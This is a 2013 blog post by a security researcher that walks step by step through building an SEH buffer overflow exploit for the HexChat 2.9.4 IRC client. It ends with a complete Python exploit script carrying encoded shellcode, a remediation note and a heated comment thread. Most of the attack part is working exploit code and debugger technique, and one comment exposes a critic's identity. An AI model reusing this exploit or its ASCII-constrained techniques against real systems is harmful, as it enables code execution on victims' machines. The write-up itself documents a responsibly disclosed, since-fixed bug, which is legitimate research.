Saturday, April 6, 2013

Buffer Overflow in HexChat 2.9.4

A buddy of mine, Mulitia, and I were talking about 0-days, and he mentioned finding one in Hex-Chat, a popular IRC client. It was super low severity, but still neat. If you entered "/server " followed by 20,000 random characters, the application died. I decided to try to make a working exploit out of this for fun.

I contacted HexChat, by initialling going into the #hexchat channel on irc.freenode.net and trying to find a security contact. TingPing said I could give the details specifically through him. Eventually an issue was created: https://github.com/hexchat/hexchat/issues/463

Walkthrough of the exploit

This exploit was a little more complicated than many I've had to do previously. It has 3 stages, due to bad characters that can't be entered in the payload (pretty much anything non-alpha-numeric).

The offset

First thing's first, when developing an exploit, you need to have the offset of the buffer so you know where to put executable statements. By using the pattern_create functionality of Mona.py, I made a 25,000 line unique string, and ran it into the program while attached to a debugger.

I then took this long pattern, and pasted it into HexChat's textbox, after a "/server " string:

Once I hit enter, the debugger stated:
Access violation when writing to [00130000] - use Shift+F7/F8/F9 to pass the exception to the program
Since an exception was raised, I checked the SEH window, to see if I had overwritten the SEH handler.
 Indeed, I had overwritten the SEH handler with "37635236".  I then ran mona's pattern_offset to find the offset of the string that would overwrite the SEH handler.
Based on this knowledge, I knew the offset would be somewhere around 13340 bytes in. Since this was an SEH exploit, the next step was to find an instruction that did a pop-pop-ret.

Pop-Pop-Ret

Finding a valid pop-pop-ret instruction became a bit difficult, because I started to find out that HexChat would pretty much only use ASCII characters. Luckily, Mona.py had me covered, and can search for filtered characters:
I went through the seh.txt file that had all the addresses, and found one that I liked:
0x68626463 : pop ebx # pop ebp # ret  | asciiprint,ascii,lower {PAGE_EXECUTE_READ} [libglib-2.0-0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.26.1.0 (C:\Program Files\HexChat\libglib-2.0-0.dll)
This string was all lowercase letters, had no ASLR or SafeSEH, so it seemed like a fairly good address to use.

The jump

I created a little test exploit stub so I could see the memory after the pop-pop-ret occurred. It wasn't really anything special.
mandreko$ perl -e 'print "A"x13340 . "\x63\x64\x62\x68" . "C"x11656'
I pasted it into HexChat, and saw the same Access Violation. I checked the SEH window to make sure I overwrote properly:
You can see there, that the SEH is now pointing to the address of the pop-pop-ret.  I created a breakpoint for 0x68626463 and hit Shift-F9. I hit the breakpoint, and F7 3 times to step through the pop-pop-ret.
Typically, in an SEH exploit, right before the PPR instruction, you'd put the next instruction that you want to execute, the nseh (more details at Corelan's excellent blog). This instruction is typically a jump. Due to our ascii issue, I found it was possible to do a 21 byte jump, by using a conditional "JA" jump (see here for jump details) instruction. I had to prepend 2 "DEC ESP" instructions to make the conditional jump work, by setting the proper flags. This left my exploit stub looking like:
mandreko$ perl -e 'print "A"x13336 . "\x4c\x4c\x77\x21" . "\x63\x64\x62\x68" . "C"x11656'

Getting more space

I ran the exploit stub, followed the pop-pop-ret and then the jump, and found myself in memory that I controlled. That was the good news. Unfortunately, the bad news was that I only had a very limited amount of space to put any payload (43 bytes). My first thought was to use an egghunter, however egghunters had non-ascii characters in them, and when encoded properly, were well over 43 bytes long. This left me thinking for a good while.

After a couple days of thinking, I thought about using a fairly non-traditional method to exploit this. In the stack, way down, was a pointer to the beginning of the buffer I sent into HexChat. I was able to use the POPAD instruction to get rid of several ESP values at once, since it's Opcode was an ASCII character. By combining 38 POPAD instructions, I was able to get to the pointer in memory, and still have 5 bytes of memory to try to load it. My exploit-stub ended up looking like this:
mandreko$ perl -e 'print "A"x13336 . "\x4c\x4c\x77\x21" . "\x63\x64\x62\x68" . "C"x29 . "\x61"x38 . "C"x11589'
When I ran it through the debugger, it worked out perfectly.

Finding the jump via corruption

With only 5 bytes remaining, and ASCII encoding requirements, I pondered a bit. I couldn't see any way to get a "JMP ESP". I found a JMP ESP in one of the loaded libraries, but I didn't have enough space to push it into memory and then RETN. For some reason, during testing, I found that some of my non-ASCII characters were bad-characters, and would get translated to RETN statements. I thought perhaps I could use a "PUSH ESP" instruction which was ASCII, and then use a bad-character to convert into a "RETN" instruction, since it typically would not be ASCII (\xc3). It ended up working. I put a "\xE9", and it converted it to "RETN" and then an "\x88". Since I'd never be hitting the "\x88" I figured this would work. I tried it, and miraculously it did! Using a corrupted character actually let it jump!
After taking the "RETN", it placed me in an area with thousands of bytes for shellcode.
From this point, it was just as easy as inserting some alpha-numeric encoded shellcode, and changing some lengths of junk strings.

The final working exploit

#!/usr/bin/python
# HexChat 2.9.4 Local Exploit
# Bug found by Jules Carter < @iMulitia >
# Exploit by Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/buffer-overflow-in-hexchat-294.html
junk1 = "B"*30
shellcode = (
# msfvenom -p windows/messagebox EXITFUNC=process BufferRegister=ESP -e x86/alpha_mixed -f c
"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x78\x59\x68\x6b\x6d\x4b\x4b\x69"
"\x44\x34\x64\x64\x59\x64\x74\x71\x78\x52\x6c\x72\x33\x47\x34"
"\x71\x78\x49\x42\x44\x4e\x6b\x50\x71\x50\x30\x4e\x6b\x64\x36"
"\x54\x4c\x4c\x4b\x44\x36\x77\x6c\x4c\x4b\x33\x76\x77\x78\x4c"
"\x4b\x73\x4e\x51\x30\x4e\x6b\x75\x66\x56\x58\x72\x6f\x72\x38"
"\x51\x65\x68\x73\x43\x69\x37\x71\x38\x51\x39\x6f\x58\x61\x73"
"\x50\x4e\x6b\x30\x6c\x36\x44\x77\x54\x6c\x4b\x42\x65\x75\x6c"
"\x6e\x6b\x73\x64\x36\x48\x31\x68\x46\x61\x6a\x4a\x4e\x6b\x52"
"\x6a\x66\x78\x6e\x6b\x73\x6a\x57\x50\x43\x31\x7a\x4b\x6d\x33"
"\x34\x74\x42\x69\x6c\x4b\x47\x44\x4c\x4b\x67\x71\x48\x6e\x74"
"\x71\x6b\x4f\x36\x51\x79\x50\x6b\x4c\x4e\x4c\x4c\x44\x39\x50"
"\x34\x34\x75\x57\x49\x51\x4a\x6f\x36\x6d\x67\x71\x4a\x67\x5a"
"\x4b\x5a\x54\x67\x4b\x71\x6c\x61\x34\x34\x68\x32\x55\x6d\x31"
"\x6e\x6b\x33\x6a\x47\x54\x76\x61\x38\x6b\x71\x76\x4c\x4b\x64"
"\x4c\x52\x6b\x4e\x6b\x71\x4a\x67\x6c\x67\x71\x4a\x4b\x4e\x6b"
"\x74\x44\x4c\x4b\x76\x61\x69\x78\x4e\x69\x62\x64\x66\x44\x47"
"\x6c\x63\x51\x5a\x63\x6e\x52\x33\x38\x61\x39\x69\x44\x6b\x39"
"\x59\x75\x6c\x49\x58\x42\x73\x58\x4e\x6e\x72\x6e\x56\x6e\x58"
"\x6c\x62\x72\x4d\x38\x4f\x6f\x6b\x4f\x69\x6f\x69\x6f\x4f\x79"
"\x61\x55\x75\x54\x6d\x6b\x31\x6e\x4e\x38\x79\x72\x70\x73\x6f"
"\x77\x45\x4c\x45\x74\x70\x52\x39\x78\x6c\x4e\x4b\x4f\x49\x6f"
"\x59\x6f\x6f\x79\x43\x75\x55\x58\x73\x58\x62\x4c\x70\x6c\x51"
"\x30\x77\x31\x53\x58\x67\x43\x54\x72\x66\x4e\x61\x74\x71\x78"
"\x52\x55\x44\x33\x62\x45\x61\x62\x6d\x58\x51\x4c\x75\x74\x57"
"\x7a\x4c\x49\x58\x66\x73\x66\x6b\x4f\x30\x55\x47\x74\x6b\x39"
"\x4f\x32\x72\x70\x4d\x6b\x39\x38\x6d\x72\x72\x6d\x4f\x4c\x4b"
"\x37\x35\x4c\x67\x54\x30\x52\x5a\x48\x75\x31\x39\x6f\x6b\x4f"
"\x39\x6f\x33\x58\x42\x4f\x34\x38\x53\x68\x31\x30\x72\x48\x35"
"\x31\x73\x57\x61\x75\x62\x62\x35\x38\x72\x6d\x72\x45\x54\x33"
"\x62\x53\x54\x71\x69\x4b\x6f\x78\x33\x6c\x75\x74\x54\x4a\x6f"
"\x79\x78\x63\x61\x78\x72\x78\x45\x70\x77\x50\x75\x70\x70\x68"
"\x72\x6d\x50\x53\x37\x36\x77\x51\x70\x68\x43\x42\x30\x6f\x42"
"\x4d\x71\x30\x35\x38\x52\x4f\x66\x4c\x31\x30\x61\x76\x61\x78"
"\x71\x58\x50\x65\x42\x4c\x32\x4c\x55\x61\x5a\x69\x6e\x68\x72"
"\x6c\x61\x34\x44\x50\x4f\x79\x4d\x31\x56\x51\x4b\x62\x33\x62"
"\x61\x43\x46\x31\x52\x72\x39\x6f\x58\x50\x46\x51\x49\x50\x42"
"\x70\x69\x6f\x36\x35\x34\x48\x41\x41"
)
junk2 = "A"*(13306-len(shellcode))
stage1 = "\x4c\x4c\x77\x21" # 21 byte jump (JA)
ret = "\x63\x64\x62\x68" # ASCII PPR
junk3 = "C"*29
stage2 = "\x61"*38 # POPAD x 38
stage2 += "\x54" # PUSH ESP
stage2 += "\xE9" # RETN # This byte is a bad char, but gets converted to RETN and \x88
junk4 = "D"*11586

print "Copy this text, and enter into HexChat's textbox: \"/server [string]\"" 
print junk1 + shellcode + junk2 + stage1 + ret + junk3 + stage2 + junk4

Demo time!

Here is a video demo of the exploit working with a simple messagebox payload.

Remediation

It's suggested that all users upgrade to 2.9.5 where this vulnerability has been fixed. HexChat is available here: http://hexchat.org/downloads.html

9 comments:

  1. brilliant write up! when exploiting xchat on Ubuntu 12, it was nowhere near this difficult/complex. You sir, are an evil genius :P

    ReplyDelete
  2. Thank god the world is safe now. From now, users can't hack... Themselves. Let's just hope they don't type 20k characters at once accidentally that often, otherwise they'll get into great trouble until they upgrade (restarting the client is great security risk).

    ReplyDelete
    Replies
    1. Thanks for taking the time to comment. As I put in my post, it's a super low severity issue.

      Often times "Local Exploits" are not deemed as "cool" as remote roots, but sometimes you just need to escalate privileges locally. If the HexChat process is running as a privileged user, you can exploit it to gain access to that user's permissions.

      This exploit was mostly just a fun experience to create. However, did you think of other attack vectors, such as web links using the irc:// handler? Perhaps an attacker could fabricate a url that when the user clicks it, it exploits HexChat.

      Delete
    2. There are way too many assumptions though. To begin with, those who run their user apps with escalated privileges are clearly either ignorant or out of their minds. Especially now that *everything* is stored in the users' config folders in their homes. Which used to cause (or is still causing) a lot of complaints, and it took a lot of little fights to shove down users' throats, coz lots of users wanted to put their scripts in the Program Files folder, as earlier... Good old XChat used to load stuff from lots of system folders which is obviously bad practice. Also, XChat won't even run as root. And of course the irc:// handler has nothing to do with the input box AFAIK, which you "exploited" here.

      But after all, I understand that this was more of a challenge than an actual problem. And it resulted in a bug fixed, so it's a win-win. I'm just saying that this is not the kind of issue which needs big words such as "0-day vulnerability" and "exploit". Just my 2 cents.

      Delete
    3. Seriously, what a dick! 99% of the bugs on exploit-db are only done as an exercise in exploit dev. @gradinkov You're missing the point of this post.

      Nice work Matt.

      Delete
    4. Dick? How childish you are? This blogpost was ALL about the incredibly huge impact and severity of this nonsense found. And now it's an exercise? You're looking for "security contact" when exercising? To fix a "0-day vulnerability"? And write an "exploit" to it? Then "remediate" it? Then post it to like 9 million Russian security sites to let everyone know how important you are? Seriously? Grow up, kiddies...

      Delete
    5. Gradinkov, (or should I say bviktor?), you seem a bit misinformed. Here are a couple things to clarify for you:

      I don't think *anyone* said there was any huge impact or high severity. In fact, the wording used was "It was super low severity". I'm not sure how you got those mixed up.

      This is a local exploit (yes, an exploit). There are a ton of similar exploits listed as "Local Exploits" on http://www.exploit-db.com, so I'm not sure why you think it's not. It was an exercise as well. Exercise and exploit are not mutually exclusive.

      In regards to remediation, any software that has a vulnerability and also has an update available that fixes said vulnerability, should be upgraded. Anything else would be stupid.

      I posted to my blog here, and exploit-db, since it's an exploit. (And they apparently agree, or else they wouldn't have posted it) My blog posts automatically feed to my Twitter, and LinkedIn, but I did not submit it to any other sites, including any russian sites. If they end up there, that's beyond my control. I'd hope that you understand that no individual controls the entire internet.

      It sounds like you're just butt-hurt because you work on HexChat and I reported an issue responsibly. Finding an issue and writing an exploit for it is not a personal attack. Taking it personally and lashing out under a pseudo-anonymous name is showing severe unprofessionalism on your part.

      Delete
    6. ^ Well said Matt!

      @Grandinkov - It didn't take a Russian rocket scientist to track down who you really are. A quick google(for those interested, see links 1 and 2 below) search shows that you are an active member of the xchat/hexchat community and are clearly ass wet over Mr. Andreko publishing this post.

      Link 1: http://ibot.rikers.org/%23debian/20120216.html.gz
      Link 2: http://ibot.rikers.org/%23debian/20111121.html.gz

      As Matt has already pointed out in his previous comment, there was never any mention of high severity with this vulnerability. To deny that the bug exists, and also the fact that the code Matt has provided is an exploit is silly. Does his code exploit a vulnerability to take execution control of the application? Yes. Hence, exploit. Perhaps you should do some research as to what an exploit is.

      This bug was found by me and I can promise you it is the least of your worries. I have found several other vulnerabilities within your irc chat client that are much more severe than this.

      To avoid future humiliation, write better code. Nuff said.

      Delete
    7. This comment has been removed by the author.

      Delete

Popular

Recent

Comments